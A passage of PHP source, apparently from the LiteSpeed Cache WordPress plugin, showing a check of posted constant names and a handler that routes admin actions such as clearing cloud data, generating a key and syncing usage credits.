}
}
if (!empty($_POST['consts'])) {
foreach ($_POST['consts'] as $v) {
$resp[$v] = defined($v) ? 'y' : 'n';
}
}
return self::ok($resp);
}
/**
* Handle all request actions from main cls
*
* @since 3.0
* @access public
*/
public function handler()
{
$type = Router::verify_type();
switch ($type) {
case self::TYPE_CLEAR_CLOUD:
$this->clear_cloud();
break;
case self::TYPE_REDETECT_CLOUD:
if (!empty($_GET['svc'])) {
$this->detect_cloud($_GET['svc'], true);
}
break;
case self::TYPE_CLEAR_PROMO:
$this->_clear_promo();
break;
case self::TYPE_GEN_KEY:
$this->gen_key();
break;
case self::TYPE_LINK:
$this->_link_to_qc();
break;
case self::TYPE_SYNC_USAGE:
$this->sync_usage();
$msg = __('Sync credit allowance with Cloud Server successfully.', 'litespeed-cache');
Admin_Display::succeed($msg);
break;
default:
break;
}
Admin::redirect();
}
}